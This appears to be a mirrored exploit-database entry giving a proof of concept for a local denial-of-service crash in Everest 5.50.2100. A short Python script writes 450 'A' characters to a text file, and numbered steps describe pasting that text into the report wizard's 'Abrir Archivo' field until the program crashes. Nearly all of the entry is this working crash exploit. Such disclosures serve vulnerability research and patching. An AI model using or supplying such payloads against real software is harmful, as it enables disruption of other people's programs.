发布 2020-03-27 漏洞条目

Everest 5.50.2100 – ‘Open File’ Denial of Service (PoC)

Exploit Source

# Exploit Title: Everest 5.50.2100 - 'Open File' Denial of Service (PoC)

# Discovery by: Ivan Marmolejo

# Discovery Date: 2020-03-24

# Software Link : http://www.lavalys.com/

# Tested Version: 5.50.2100

# Vulnerability Type: Denial of Service (DoS) Local

# Tested on OS: Windows 10 Home Single Language

# Steps to produce the crash:

#1.- Run python code: Everest.py

#2.- Open Everest.txt and copy content to clipboard

#3.- Open "Everest Ultimate Edition"

#4.- Select "Informe" > "Asistente de Informes" > "Next" > Select "Abrir Archivo"

#5.- In "Abrir Archivo" field paste Clipboard

#6.- Select "Next"

#7.- Crashed

buffer = "\x41" * 450

f = open ("Everest.txt", "w")

f.write(buffer)

f.close()

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